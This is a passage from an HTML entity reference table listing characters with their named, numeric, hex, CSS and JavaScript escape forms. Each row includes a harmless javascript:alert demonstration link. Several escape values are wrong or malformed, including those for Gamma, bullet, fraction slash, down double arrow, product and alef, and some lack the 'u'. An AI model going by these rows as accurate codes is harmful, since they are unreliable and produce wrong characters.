| `&#186;` | ordinal indicator, masculine | %BA | \\00ba | <a href='javascript:alert(&quot;\272&quot;)'>\272</a> | | `&raquo;` | » | `&#187;` | angle quotation mark, right | %BB | \\00bb | <a href='javascript:alert(&quot;\273&quot;)'>\273</a> | | `&frac14;` | ¼ | `&#188;` | fraction one-quarter | %BC | \\00bc | <a href='javascript:alert(&quot;\274&quot;)'>\274</a> | | `&frac12;` | ½ | `&#189;` | fraction one-half | %BD | \\00bd | <a href='javascript:alert(&quot;\275&quot;)'>\275</a> | | `&frac34;` | ¾ | `&#190;` | fraction three-quarters | %BE | \\00be | <a href='javascript:alert(&quot;\276&quot;)'>\276</a> | | `&iquest;` | ¿ | `&#191;` | inverted question mark | %BF | \\00bf | <a href='javascript:alert(&quot;\277&quot;)'>\277</a> | | `&Agrave;` | À | `&#192;` | capital A, grave accent | %C0 | \\00c0 | <a href='javascript:alert(&quot;\300&quot;)'>\300</a> | | `&Aacute;` | Á | `&#193;` | capital A, acute accent | %C1 | \\00c1 | <a href='javascript:alert(&quot;\301&quot;)'>\301</a> | | `&Acirc;` |  | `&#194 ;` | capital A, circumflex accent | %C2 | \\00c2 | <a href='javascript:alert(&quot;\302&quot;)'>\302</a> | | `&Atilde;` | à | `&#195;` | capital A, tilde | %C3 | \\00c3 | <a href='javascript:alert(&quot;\303&quot;)'>\303</a> | | `&Auml;` | Ä | `&#196;` | capital A, dieresis or umlaut mark | %C4 | \\00c4 | <a href='javascript:alert(&quot;\304&quot;)'>\304</a> | | `&Aring;` | Å | `&#197;` | capital A, ring | %C5 | \\00c5 | <a href='javascript:alert(&quot;\305&quot;)'>\305</a> | | `&AElig;` | Æ | `&#198;` | capital AE diphthong (ligature) | %C6 | \\00c6 | <a href='javascript:alert(&quot;\306&quot;)'>\306</a> | | `&Ccedil;` | Ç | `&#199;` | capital C, cedilla | %C7 | \\00c7 | <a href='javascript:alert(&quot;\307&quot;)'>\307</a> | | `&Egrave;` | È | `&#200;` | capital E, grave accent | %C8 | \\00c8 | <a href='javascript:alert(&quot;\310&quot;)'>\310</a> | | `&Eacute;` | É | `&#201;` | capital E, acute accent | %C9 | \\00c9 | <a href='javascript:alert(&quot;\311&quot;)'>\311</a> | | `&Ecirc;` | Ê | `&#202;` | capital E, circumflex accent | %CA | \\00ca | <a href='javascript:alert(&quot;\312&quot;)'>\312</a> | | `&Euml;` | Ë | `&#203;` | capital E, dieresis or umlaut mark | %CB | \\00cb | <a href='javascript:alert(&quot;\313&quot;)'>\313</a> | | `&Igrave;` | Ì | `&#204;` | capital I, grave accent | %CC | \\00cc | <a href='javascript:alert(&quot;\314&quot;)'>\314</a> | | `&Iacute;` | Í | `&#205;` | capital I, acute accent | %CD | \\00cd | <a href='javascript:alert(&quot;\315&quot;)'>\315</a> | | `&Icirc;` | Î | `&#206;` | capital I, circumflex accent | %CE | \\00ce | <a href='javascript:alert(&quot;\316&quot;)'>\316</a> | | `&Iuml;` | Ï | `&#207;` | capital I, dieresis or umlaut mark | %CF | \\00cf | <a href='javascript:alert(&quot;\317&quot;)'>\317</a> | | `&ETH;` | Ð | `&#208;` | capital Eth, Icelandic | %D0 | \\00d0 | <a href='javascript:alert(&quot;\320&quot;)'>\320</a> | | `&Ntilde;` | Ñ | `&#209;` | capital N, tilde | %D1 | \\00d1 | <a href='javascript:alert(&quot;\321&quot;)'>\321</a> | | `&Ograve;` | Ò | `&#210;` | capital O, grave accent | %D2 | \\00d2 | <a href='javascript:alert(&quot;\322&quot;)'>\322</a> | | `&Oacute;` | Ó | `&#211;` | capital O, acute accent | %D3 | \\00d3 | <a href='javascript:alert(&quot;\323&quot;)'>\323</a> | | `&Ocirc;` | Ô | `&#212;` | capital O, circumflex accent | %D4 | \\00d4 | <a href='javascript:alert(&quot;\324&quot;)'>\324</a> | | `&Otilde;` | Õ | `&#213;` | capital O, tilde | %D5 | \\00d5 | <a href='javascript:alert(&quot;\325&quot;)'>\325</a> | | `&Ouml;` | Ö | `&#214;` | capital O, dieresis or umlaut mark | %D6 | \\00d6 | <a href='javascript:alert(&quot;\326&quot;)'>\326</a> | | `&times;` | × | `&#215;` | multiply sign | %D7 | \\00d7 | <a href='javascript:alert(&quot;\327&quot;)'>\327</a> | | `&Oslash;` | Ø | `&#216;` | capital O, slash | %D8 | \\00d8 | <a href='javascript:alert(&quot;\330&quot;)'>\330</a> | | `&Ugrave;` | Ù | `&#217;` | capital U, grave accent | %D9 | \\00d9 | <a href='javascript:alert(&quot;\331&quot;)'>\331</a> | | `&Uacute;` | Ú | `&#218;` | capital U, acute accent | %DA | \\00da | <a href='javascript:alert(&quot;\332&quot;)'>\332</a> | | `&Ucirc;` | Û | `&#219;` | capital U, circumflex accent | %DB | \\00db | <a href='javascript:alert(&quot;\333&quot;)'>\333</a> | | `&Uuml;` | Ü | `&#220;` | capital U, dieresis or umlaut mark | %DC | \\00dc | <a href='javascript:alert(&quot;\334&quot;)'>\334</a> | | `&Yacute;` | Ý | `&#221;` | capital Y, acute accent | %DD | \\00dd | <a href='javascript:alert(&quot;\335&quot;)'>\335</a> | | `&THORN;` | Þ | `&#222;` | capital THORN, Icelandic | %DE | \\00de | <a href='javascript:alert(&quot;\336&quot;)'>\336</a> | | `&szlig;` | ß | `&#223;` | small sharp s, German (sz ligature) | %DF | \\00df | <a href='javascript:alert(&quot;\337&quot;)'>\337</a> | | `&agrave;` | à | `&#224;` | small a, grave accent | %E0 | \\00e0 | <a href='javascript:alert(&quot;\340&quot;)'>\340</a> | | `&aacute;` | á | `&#225;` | small a, acute accent | %E1 | \\00e1 | <a href='javascript:alert(&quot;\341&quot;)'>\341</a> | | `&acirc;` | â | `&#226;` | small a, circumflex accent | %E2 | \\00e2 | <a href='javascript:alert(&quot;\342&quot;)'>\342</a> | | `&atilde;` | ã | `&#227;` | small a, tilde | %E3 | \\00e3 | <a href='javascript:alert(&quot;\343&quot;)'>\343</a> | | `&auml;` | ä | `&#228;` | small a, dieresis or umlaut mark | %E4 | \\00e4 | <a href='javascript:alert(&quot;\344&quot;)'>\344</a> | | `&aring;` | å | `&#229;` | small a, ring | %E5 | \\00e5 | <a href='javascript:alert(&quot;\345&quot;)'>\345</a> | | `&aelig;` | æ | `&#230;` | small ae diphthong (ligature) | %E6 | \\00e6 | <a href='javascript:alert(&quot;\346&quot;)'>\346</a> | | `&ccedil;` | ç | `&#231;` | small c, cedilla | %E7 | \\00e7 | <a href='javascript:alert(&quot;\347&quot;)'>\347</a> | | `&egrave;` | è | `&#232;` | small e, grave accent | %E8 | \\00e8 | <a href='javascript:alert(&quot;\350&quot;)'>\350</a> | | `&eacute;` | é | `&#233;` | small e, acute accent | %E9 | \\00e9 | <a href='javascript:alert(&quot;\351&quot;)'>\351</a> | | `&ecirc;` | ê | `&#234;` | small e, circumflex accent | %EA | \\00ea | <a href='javascript:alert(&quot;\352&quot;)'>\352</a> | | `&euml;` | ë | `&#235;` | small e, dieresis or umlaut mark | %EB | \\00eb | <a href='javascript:alert(&quot;\353&quot;)'>\353</a> | | `&igrave;` | ì | `&#236;` | small i, grave accent | %EC | \\00ec | <a href='javascript:alert(&quot;\354&quot;)'>\354</a> | | `&iacute;` | í | `&#237;` | small i, acute accent | %ED | \\00ed | <a href='javascript:alert(&quot;\355&quot;)'>\355</a> | | `&icirc;` | î | `&#238;` | small i, circumflex accent | %EE | \\00ee | <a href='javascript:alert(&quot;\356&quot;)'>\356</a> | | `&iuml;` | ï | `&#239;` | small i, dieresis or umlaut mark | %EF | \\00ef | <a href='javascript:alert(&quot;\357&quot;)'>\357</a> | | `&eth;` | ð | `&#240;` | small eth, Icelandic | %F0 | \\00f0 | <a href='javascript:alert(&quot;\360&quot;)'>\360</a> | | `&ntilde;` | ñ | `&#241;` | small n, tilde | %F1 | \\00f1 | <a href='javascript:alert(&quot;\361&quot;)'>\361</a> | | `&ograve;` | ò | `&#242;` | small o, grave accent | %F2 | \\00f2 | <a href='javascript:alert(&quot;\362&quot;)'>\362</a> | | `&oacute;` | ó | `&#243;` | small o, acute accent | %F3 | \\00f3 | <a href='javascript:alert(&quot;\363&quot;)'>\363</a> | | `&ocirc;` | ô | `&#244;` | small o, circumflex accent | %F4 | \\00f4 | <a href='javascript:alert(&quot;\364&quot;)'>\364</a> | | `&otilde;` | õ | `&#245;` | small o, tilde | %F5 | \\00f5 | <a href='javascript:alert(&quot;\365&quot;)'>\365</a> | | `&ouml;` | ö | `&#246;` | small o, dieresis or umlaut mark | %F6 | \\00f6 | <a href='javascript:alert(&quot;\366&quot;)'>\366</a> | | `&divide;` | ÷ | `&#247;` | divide sign | %F7 | \\00f7 | <a href='javascript:alert(&quot;\367&quot;)'>\367</a> | | `&oslash;` | ø | `&#248;` | small o, slash | %F8 | \\00f8 | <a href='javascript:alert(&quot;\370&quot;)'>\370</a> | | `&ugrave;` | ù | `&#249;` | small u, grave accent | %F9 | \\00f9 | <a href='javascript:alert(&quot;\371&quot;)'>\371</a> | | `&uacute;` | ú | `&#250;` | small u, acute accent | %FA | \\00fa | <a href='javascript:alert(&quot;\372&quot;)'>\372</a> | | `&ucirc;` | û | `&#251;` | small u, circumflex accent | %FB | \\00fb | <a href='javascript:alert(&quot;\373&quot;)'>\373</a> | | `&uuml;` | ü | `&#252;` | small u, dieresis or umlaut mark | %FC | \\00fc | <a href='javascript:alert(&quot;\374&quot;)'>\374</a> | | `&yacute;` | ý | `&#253;` | small y, acute accent | %FD | \\00fd | <a href='javascript:alert(&quot;\375&quot;)'>\375</a> | | `&thorn;` | þ | `&#254;` | small thorn, Icelandic | %FE | \\00fe | <a href='javascript:alert(&quot;\376&quot;)'>\376</a> | | `&yuml;` | ÿ | `&#255;` | small y, dieresis or umlaut mark | %FF | \\00ff | <a href='javascript:alert(&quot;\377&quot;)'>\377</a> | {.show-header} ### HTML Latin Extended | HTML | Symbol | Numeric | Description | Hex | CSS (ISO) | JS (Octal) | |----------------|--------|--------------|-----------------------------------------|------------------|-----------|---------------------| | `&OElig;` | Œ | `&#338;` | latin capital ligature oe | u+0152 ISOlat2 | \\0152 | <a href='javascript:alert(&quot;\u0152&quot;)'>\u0152</a> | | `&oelig;` | œ | `&#339;` | latin small ligature oe | u+0153 ISOlat2 | \\0153 | <a href='javascript:alert(&quot;\u0153&quot;)'>\u0153</a> | | `&Scaron;` | Š | `&#352;` | latin capital letter s with caron | u+0160 ISOlat2 | \\0160 | <a href='javascript:alert(&quot;\u0160&quot;)'>\u0160</a> | | `&scaron;` | š | `&#353;` | latin small letter s with caron | u+0161 ISOlat2 | \\0161 | <a href='javascript:alert(&quot;\u0161&quot;)'>\u0161</a> | | `&Yuml;` | Ÿ | `&#376;` | latin capital letter y with diaeresis | u+0178 ISOlat2 | \\0178 | <a href='javascript:alert(&quot;\u0178&quot;)'>\u0178</a> | | `&fnof;` | ƒ | `&#402;` | latin small f with hook | u+0192 ISOtech | \\0192 | <a href='javascript:alert(&quot;\u0192&quot;)'>\u0192</a> | {.show-header} ### HTML Spacing Modifier Letters | HTML | Symbol | Numeric | Description | Hex | CSS (ISO) | JS (Octal) | |---------------|--------|-------------------------------------|-----------------|---------|---------------------|------------| | `&circ;` | ˆ | | modifier letter circumflex accent | u+02C6 ISOpub | \\02c6 | <a href='javascript:alert(&quot;\u02c6&quot;)'>\u02c6</a> | | `&tilde;` | ˜ | | small tilde | u+02DC ISOdia | \\02dc | <a href='javascript:alert(&quot;\u02dc&quot;)'>\u02dc</a> | {.show-header} ### HTML Greek | HTML | Symbol | Numeric | Description | Hex | CSS (ISO) | JS (Octal) | |------------------|--------|--------------|-----------------------------------|------------------|-----------|---------------------| | `&Alpha;` | Α | `&#913;` | greek capital letter alpha | u+0391 | \\0391 | <a href='javascript:alert(&quot;\u0391&quot;)'>\u0391</a> | | `&Beta;` | Β | `&#914;` | greek capital letter beta | u+0392 | \\0392 | <a href='javascript:alert(&quot;\u0392&quot;)'>\u0392</a> | | `&Gamma;` | Γ | `&#915;` | greek capital letter gamma | u+0393 ISOgrk3 | \\0393 | <a href='javascript:alert(&quot;\u0395&quot;)'>\u0395</a> | | `&Delta;` | Δ | `&#916;` | greek capital letter delta | u+0394 ISOgrk3 | \\0394 | <a href='javascript:alert(&quot;\u0394&quot;)'>\u0394</a> | | `&Epsilon;` | Ε | `&#917;` | greek capital letter epsilon | u+0395 | \\0395 | <a href='javascript:alert(&quot;\u0395&quot;)'>\u0395</a> | | `&Zeta;` | Ζ | `&#918;` | greek capital letter zeta | u+0396 | \\0396 | <a href='javascript:alert(&quot;\u0396&quot;)'>\u0396</a> | | `&Eta;` | Η | `&#919;` | greek capital letter eta | u+0397 | \\0397 | <a href='javascript:alert(&quot;\u0397&quot;)'>\u0397</a> | | `&Theta;` | Θ | `&#920;` | greek capital letter theta | u+0398 ISOgrk3 | \\0398 | <a href='javascript:alert(&quot;\u0398&quot;)'>\u0398</a> | | `&Iota;` | Ι | `&#921;` | greek capital letter iota | u+0399 | \\0399 | <a href='javascript:alert(&quot;\u0399&quot;)'>\u0399</a> | | `&Kappa;` | Κ | `&#922;` | greek capital letter kappa | u+039A | \\039a | <a href='javascript:alert(&quot;\u039a&quot;)'>\u039a</a> | | `&Lambda;` | Λ | `&#923;` | greek capital letter lambda | u+039B ISOgrk3 | \\039b | <a href='javascript:alert(&quot;\u039b&quot;)'>\u039b</a> | | `&Mu;` | Μ | `&#924;` | greek capital letter mu | u+039C | \\039c | <a href='javascript:alert(&quot;\u039c&quot;)'>\u039c</a> | | `&Nu;` | Ν | `&#925;` | greek capital letter nu | u+039D | \\039d | <a href='javascript:alert(&quot;\u039D&quot;)'>\u039D</a> | | `&Xi;` | Ξ | `&#926;` | greek capital letter xi | u+039E ISOgrk3 | \\039e | <a href='javascript:alert(&quot;\u039e&quot;)'>\u039e</a> | | `&Omicron;` | Ο | `&#927;` | greek capital letter omicron | u+039F | \\039f | <a href='javascript:alert(&quot;\u039f&quot;)'>\u039f</a> | | `&Pi;` | Π | `&#928;` | greek capital letter pi | u+03A0 ISOgrk3 | \\03a0 | <a href='javascript:alert(&quot;\u03a0&quot;)'>\u03a0</a> | | `&Rho;` | Ρ | `&#929;` | greek capital letter rho | u+03A1 | \\03a1 | <a href='javascript:alert(&quot;\u03a1&quot;)'>\u03a1</a> | | `&Sigma;` | Σ | `&#931;` | greek capital letter sigma | u+03A3 ISOgrk3 | \\03a3 | <a href='javascript:alert(&quot;\u03A3&quot;)'>\u03A3</a> | | `&Tau;` | Τ | `&#932;` | greek capital letter tau | u+03A4 | \\03a4 | <a href='javascript:alert(&quot;\u03A4&quot;)'>\u03A4</a> | | `&Upsilon;` | Υ | `&#933;` | greek capital letter upsilon | u+03A5 ISOgrk3 | \\03a5 | <a href='javascript:alert(&quot;\u03A5&quot;)'>\u03A5</a> | | `&Phi;` | Φ | `&#934;` | greek capital letter phi | u+03A6 ISOgrk3 | \\03a6 | <a href='javascript:alert(&quot;\u03A6&quot;)'>\u03A6</a> | | `&Chi;` | Χ | `&#935;` | greek capital letter chi | u+03A7 | \\03a7 | <a href='javascript:alert(&quot;\u03A7&quot;)'>\u03A7</a> | | `&Psi;` | Ψ | `&#936;` | greek capital letter psi | u+03A8 ISOgrk3 | \\03a8 | <a href='javascript:alert(&quot;\u03A8&quot;)'>\u03A8</a> | | `&Omega;` | Ω | `&#937;` | greek capital letter omega | u+03A9 ISOgrk3 | \\03a9 | <a href='javascript:alert(&quot;\u03A9&quot;)'>\u03A9</a> | | `&alpha;` | α | `&#945;` | greek small letter alpha | u+03B1 ISOgrk3 | \\03b1 | <a href='javascript:alert(&quot;\u03b1&quot;)'>\u03b1</a> | | `&beta;` | β | `&#946;` | greek small letter beta | u+03B2 ISOgrk3 | \\03b2 | <a href='javascript:alert(&quot;\u03b2&quot;)'>\u03b2</a> | | `&gamma;` | γ | `&#947;` | greek small letter gamma | u+03B3 ISOgrk3 | \\03b3 | <a href='javascript:alert(&quot;\u03b3&quot;)'>\u03b3</a> | | `&delta;` | δ | `&#948;` | greek small letter delta | u+03B4 ISOgrk3 | \\03b4 | <a href='javascript:alert(&quot;\u03b4&quot;)'>\u03b4</a> | | `&epsilon;` | ε | `&#949;` | greek small letter epsilon | u+03B5 ISOgrk3 | \\03b5 | <a href='javascript:alert(&quot;\u03b5&quot;)'>\u03b5</a> | | `&zeta;` | ζ | `&#950;` | greek small letter zeta | u+03B6 ISOgrk3 | \\03b6 | <a href='javascript:alert(&quot;\u03b6&quot;)'>\u03b6</a> | | `&eta;` | η | `&#951;` | greek small letter eta | u+03B7 ISOgrk3 | \\03b7 | <a href='javascript:alert(&quot;\u03b7&quot;)'>\u03b7</a> | | `&theta;` | θ | `&#952;` | greek small letter theta | u+03B8 ISOgrk3 | \\03b8 | <a href='javascript:alert(&quot;\u03b8&quot;)'>\u03b8</a> | | `&iota;` | ι | `&#953;` | greek small letter iota | u+03B9 ISOgrk3 | \\03b9 | <a href='javascript:alert(&quot;\u03b9&quot;)'>\u03b9</a> | | `&kappa;` | κ | `&#954;` | greek small letter kappa | u+03BA ISOgrk3 | \\03ba | <a href='javascript:alert(&quot;\u03ba&quot;)'>\u03ba</a> | | `&lambda;` | λ | `&#955;` | greek small letter lambda | u+03BB ISOgrk3 | \\03bb | <a href='javascript:alert(&quot;\u03bb&quot;)'>\u03bb</a> | | `&mu;` | μ | `&#956;` | greek small letter mu | u+03BC ISOgrk3 | \\03bc | <a href='javascript:alert(&quot;\u03bc&quot;)'>\u03bc</a> | | `&nu;` | ν | `&#957;` | greek small letter nu | u+03BD ISOgrk3 | \\03bd | <a href='javascript:alert(&quot;\u03bd&quot;)'>\u03bd</a> | | `&xi;` | ξ | `&#958;` | greek small letter xi | u+03BE ISOgrk3 | \\03be | <a href='javascript:alert(&quot;\u03be&quot;)'>\u03be</a> | | `&omicron;` | ο | `&#959;` | greek small letter omicron | u+03BF NEW | \\03bf | <a href='javascript:alert(&quot;\u03bf&quot;)'>\u03bf</a> | | `&pi;` | π | `&#960;` | greek small letter pi | u+03C0 ISOgrk3 | \\03c0 | <a href='javascript:alert(&quot;\u03c0&quot;)'>\u03c0</a> | | `&rho;` | ρ | `&#961;` | greek small letter rho | u+03C1 ISOgrk3 | \\03c1 | <a href='javascript:alert(&quot;\u03c1&quot;)'>\u03c1</a> | | `&sigmaf;` | ς | `&#962;` | greek small letter final sigma | u+03C2 ISOgrk3 | \\03C2 | <a href='javascript:alert(&quot;\u03c2&quot;)'>\u03c2</a> | | `&sigma;` | σ | `&#963;` | greek small letter sigma | u+03C3 ISOgrk3 | \\03C3 | <a href='javascript:alert(&quot;\u03c3&quot;)'>\u03c3</a> | | `&tau;` | τ | `&#964;` | greek small letter tau | u+03C4 ISOgrk3 | \\03C4 | <a href='javascript:alert(&quot;\u03c4&quot;)'>\u03c4</a> | | `&upsilon;` | υ | `&#965;` | greek small letter upsilon | u+03C5 ISOgrk3 | \\03C5 | <a href='javascript:alert(&quot;\u03c5&quot;)'>\u03c5</a> | | `&phi;` | φ | `&#966;` | greek small letter phi | u+03C6 ISOgrk3 | \\03C6 | <a href='javascript:alert(&quot;\03c6&quot;)'>\03c6</a> | | `&chi;` | χ | `&#967;` | greek small letter chi | u+03C7 ISOgrk3 | \\03C7 | <a href='javascript:alert(&quot;\u03c7&quot;)'>\u03c7</a> | | `&psi;` | ψ | `&#968;` | greek small letter psi | u+03C8 ISOgrk3 | \\03C8 | <a href='javascript:alert(&quot;\u03c8&quot;)'>\u03c8</a> | | `&omega;` | ω | `&#969;` | greek small letter omega | u+03C9 ISOgrk3 | \\03C9 | <a href='javascript:alert(&quot;\u03c9&quot;)'>\u03c9</a> | | `&thetasym;` | ϑ | `&#977;` | greek small letter theta symbol | u+03D1 NEW | \\03D1 | <a href='javascript:alert(&quot;\u03D1&quot;)'>\u03D1</a> | | `&upsih;` | ϒ | `&#978;` | greek upsilon with hook symbol | u+03D2 NEW | \\03D2 | <a href='javascript:alert(&quot;\u03D2&quot;)'>\u03D2</a> | | `&piv;` | ϖ | `&#982;` | greek pi symbol | u+03D6 ISOgrk3 | \\03D6 | <a href='javascript:alert(&quot;\u03D6&quot;)'>\u03D6</a> | {.show-header} ### HTML Punctuation | HTML | Symbol | Numeric | Description | Hex | CSS (ISO) | JS (Octal) | |----------------|--------|---------------|-------------------------------------------------------------------------------------|-----------------------|-----------|---------------------| | `&ensp;` |   | `&#8194;` | en space | u+2002 ISOpub | \\2002 | <a href='javascript:alert(&quot;\u2002&quot;)'>\u2002</a> | | `&emsp;` |   | `&#8195;` | em space | u+2003 ISOpub | \\2003 | <a href='javascript:alert(&quot;\u2003&quot;)'>\u2003</a> | | `&thinsp;` |   | `&#8201;` | thin space | u+2009 ISOpub | \\2009 | <a href='javascript:alert(&quot;\u2009&quot;)'>\u2009</a> | | `&zwnj;` | ‌ | `&#8204;` | zero width non-joiner | u+200C NEW RFC 2070 | \\200C | <a href='javascript:alert(&quot;\u200C&quot;)'>\u200C</a> | | `&zwj;` | ‍ | `&#8205;` | zero width joiner | u+200D NEW RFC 2070 | \\200D | <a href='javascript:alert(&quot;\u200d&quot;)'>\u200d</a> | | `&lrm;` | ‎ | `&#8206;` | left-to-right mark | u+200E NEW RFC 2070 | \\200E | <a href='javascript:alert(&quot;\u200e&quot;)'>\u200e</a> | | `&rlm;` | ‏ | `&#8207;` | right-to-left mark | u+200F NEW RFC 2070 | \\200F | <a href='javascript:alert(&quot;\u200f&quot;)'>\u200f</a> | | `&ndash;` | – | `&#8211;` | en dash | u+2013 ISOpub | \\2013 | <a href='javascript:alert(&quot;\u2013&quot;)'>\u2013</a> | | `&mdash;` | — | `&#8212;` | em dash | u+2014 ISOpub | \\2014 | <a href='javascript:alert(&quot;\u2014&quot;)'>\u2014</a> | | `&lsquo;` | ‘ | `&#8216;` | left single quotation mark | u+2018 ISOnum | \\2018 | <a href='javascript:alert(&quot;\u2018&quot;)'>\u2018</a> | | `&rsquo;` | ’ | `&#8217;` | right single quotation mark | u+2019 ISOnum | \\2019 | <a href='javascript:alert(&quot;\u2019&quot;)'>\u2019</a> | | `&sbquo;` | ‚ | `&#8218;` | single low-9 quotation mark | u+201A NEW | \\201A | <a href='javascript:alert(&quot;\u201a&quot;)'>\u201a</a> | | `&ldquo;` | “ | `&#8220;` | left double quotation mark | u+201C ISOnum | \\201C | <a href='javascript:alert(&quot;\u201c&quot;)'>\u201c</a> | | `&rdquo;` | ” | `&#8221;` | right double quotation mark | u+201D ISOnum | \\201D | <a href='javascript:alert(&quot;\u201d&quot;)'>\u201d</a> | | `&bdquo;` | „ | `&#8222;` | double low-9 quotation mark | u+201E NEW | \\201E | <a href='javascript:alert(&quot;\u201e&quot;)'>\u201e</a> | | `&dagger;` | † | `&#8224;` | dagger | u+2020 ISOpub | \\2020 | <a href='javascript:alert(&quot;\u2020&quot;)'>\u2020</a> | | `&Dagger;` | ‡ | `&#8225;` | double dagger | u+2021 ISOpub | \\2021 | <a href='javascript:alert(&quot;\u2021&quot;)'>\u2021</a> | | `&permil;` | ‰ | `&#8240;` | per mille sign | u+2030 ISOtech | \\2030 | <a href='javascript:alert(&quot;\u2030&quot;)'>\u2030</a> | | `&lsaquo;` | ‹ | `&#8249;` | single left-pointing angle quotation mark | u+2039 ISO proposed | \\2039 | <a href='javascript:alert(&quot;\u2039&quot;)'>\u2039</a> | | `&rsaquo;` | › | `&#8250;` | single right-pointing angle quotation mark | u+203A ISO proposed | \\203A | <a href='javascript:alert(&quot;\u203a&quot;)'>\u203a</a> | | `&bull;` | • | `&#8226;` | bullet, aka. black small circle | u+2022 ISOpub | \\2022 | <a href='javascript:alert(&quot;\u2219&quot;)'>\u2219</a> | | `&hellip;` | … | `&#8230;` | horizontal ellipsis, aka three dot leader | u+2026 ISOpub | \\2026 | <a href='javascript:alert(&quot;\u2026&quot;)'>\u2026</a> | | `&prime;` | ′ | `&#8242;` | prime, aka minutes, aka feet | u+2032 ISOtech | \\2032 | <a href='javascript:alert(&quot;\u2032&quot;)'>\u2032</a> | | `&Prime;` | ″ | `&#8243;` | double prime, aka seconds, aka inches | u+2033 ISOtech | \\2033 | <a href='javascript:alert(&quot;\u2033&quot;)'>\u2033</a> | | `&oline;` | ‾ | `&#8254;` | overline, aka spacing overscore | u+203E NEW | \\203E | <a href='javascript:alert(&quot;\u203e&quot;)'>\u203e</a> | | `&frasl;` | ⁄ | `&#8260;` | fraction slash | u+2044 NEW | \\2044 | <a href='javascript:alert(&quot;\u8260&quot;)'>\u8260</a> | {.show-header} ### HTML Letter-like Symbols | HTML | Symbol | Numeric | Description | Hex | CSS (ISO) | JS (Octal) | |-----------------|--------|---------------|------------------------------------------------------------|------------------|-----------|---------------------| | `&weierp;` | ℘ | `&#8472;` | script capital P, aka power set, aka Weierstrass p | u+2118 ISOamso | \\2118 | <a href='javascript:alert(&quot;\u2118&quot;)'>\u2118</a> | | `&image;` | ℑ | `&#8465;` | blackletter capital I, aka imaginary part | u+2111 ISOamso | \\2111 | <a href='javascript:alert(&quot;\u2111&quot;)'>\u2111</a> | | `&real;` | ℜ | `&#8476;` | blackletter capital R, aka real part symbol | u+211C ISOamso | \\211C | <a href='javascript:alert(&quot;\u211c&quot;)'>\u211c</a> | | `&trade;` | ™ | `&#8482;` | trade mark sign | u+2122 ISOnum | \\2122 | <a href='javascript:alert(&quot;\u2122&quot;)'>\u2122</a> | | `&alefsym;` | ℵ | `&#8501;` | alef symbol | u+2135 NEW | \\2135 | <a href='javascript:alert(&quot;\u&quot;)'>\u</a> | {.show-header} ### HTML Arrows | HTML | Symbol | Numeric | Description | Hex | CSS (ISO) | JS (Octal) | |---------------|---------------|---------------------------------|-----------------------------------------------------------------|------------------|---------------------|---------------------| | `&larr;` | ← | `&#8592;` | leftwards arrow | u+2190 ISOnum | \\2190 | <a href='javascript:alert(&quot;\u2190&quot;)'>\u2190</a> | | `&uarr;` | ↑ | `&#8593;` | upwards arrow | u+2191 ISOnum | \\2191 | <a href='javascript:alert(&quot;\u2191&quot;)'>\u2191</a> | | `&rarr;` | → | `&#8594;` | rightwards arrow | u+2192 ISOnum | \\2192 | <a href='javascript:alert(&quot;\u2192&quot;)'>\u2192</a> | | `&darr;` | ↓ | `&#8595;` | downwards arrow | u+2193 ISOnum | \\2193 | <a href='javascript:alert(&quot;\u2193&quot;)'>\u2193</a> | | `&harr;` | ↔ | `&#8596;` | left right arrow | u+2194 ISOamsa | \\2194 | <a href='javascript:alert(&quot;\u2194&quot;)'>\u2194</a> | | `&crarr;` | ↵ | `&#8629;` | downwards arrow with corner leftwards, aka carriage return | u+21B5 NEW | \\21B5 | <a href='javascript:alert(&quot;\u21b5&quot;)'>\u21b5</a> | | `&lArr;` | ⇐ | `&#8656;` | leftwards double arrow can be used for ‘is implied by’ | u+21D0 ISOtech | \\21D0 | <a href='javascript:alert(&quot;\u21d0&quot;)'>\u21d0</a> | | `&uArr;` | ⇑ | `&#8657;` | upwards double arrow | u+21D1 ISOamsa | \\21D1 | <a href='javascript:alert(&quot;\u21d1&quot;)'>\u21d1</a> | | `&rArr;` | ⇒ | `&#8658;` | rightwards double arrow | u+21D2 ISOtech | \\21D2 | <a href='javascript:alert(&quot;\u21d2&quot;)'>\u21d2</a> | | `&dArr;` | ⇓ | `&#8659;` | downwards double arrow | u+21D3 ISOamsa | \\21D3 | <a href='javascript:alert(&quot;\ud1d3&quot;)'>\ud1d3</a> | | `&hArr;` | ⇔ | `&#8660;` | left right double arrow | u+21D4 ISOamsa | \\21D4 | <a href='javascript:alert(&quot;\u21d4&quot;)'>\u21d4</a> | | | ◄ | `&#9668;` | black left pointing triangle | U+25C0 | \\25C0 | <a href='javascript:alert(&quot;\u25c0&quot;)'>\u25c0</a> | | | ► | `&#9658;` | black right pointing triangle | u+25B6 | \\25b6 | <a href='javascript:alert(&quot;\u25b6&quot;)'>\u25b6</a> | | | ▲ | `&#9650;` | black up pointing triangle | u+25B2 | \\25b2 | <a href='javascript:alert(&quot;\25b2&quot;)'>\25b2</a> | | | ▼ | `&#9660;` | black down pointing triangle | u+25BC | \\25bc | <a href='javascript:alert(&quot;\25bc&quot;)'>\25bc</a> | {.show-header} ### HTML Mathematical Operators | HTML | Symbol | Numeric | Description | Hex | CSS (ISO) | JS (Octal) | |----------------|--------|---------------|-----------------------------------------------|------------------|-----------|---------------------| | `&forall;` | ∀ | `&#8704;` | for all | u+2200 ISOtech | \\2200 | <a href='javascript:alert(&quot;\u2200&quot;)'>\u2200</a> | | `&part;` | ∂ | `&#8706;` | partial differential | u+2202 ISOtech | \\2202 | <a href='javascript:alert(&quot;\u2202&quot;)'>\u2202</a> | | `&exist;` | ∃ | `&#8707;` | there exists | u+2203 ISOtech | \\2203 | <a href='javascript:alert(&quot;\u2203&quot;)'>\u2203</a> | | `&empty;` | ∅ | `&#8709;` | empty set, aka null set, aka diameter | u+2205 ISOamso | \\2205 | <a href='javascript:alert(&quot;\u2205&quot;)'>\u2205</a> | | `&nabla;` | ∇ | `&#8711;` | nabla, aka bakad difference | u+2207 ISOtech | \\2207 | <a href='javascript:alert(&quot;\u2207&quot;)'>\u2207</a> | | `&isin;` | ∈ | `&#8712;` | element of | u+2208 ISOtech | \\2208 | <a href='javascript:alert(&quot;\u2208&quot;)'>\u2208</a> | | `&notin;` | ∉ | `&#8713;` | not an element of | u+2209 ISOtech | \\2209 | <a href='javascript:alert(&quot;\u2209&quot;)'>\u2209</a> | | `&ni;` | ∋ | `&#8715;` | contains as member | u+220B ISOtech | \\220B | <a href='javascript:alert(&quot;\u220b&quot;)'>\u220b</a> | | `&prod;` | ∏ | `&#8719;` | n-ary product, aka product sign | u+220F ISOamsb | \\220F | <a href='javascript:alert(&quot;\u03a0&quot;)'>\u03a0</a> | | 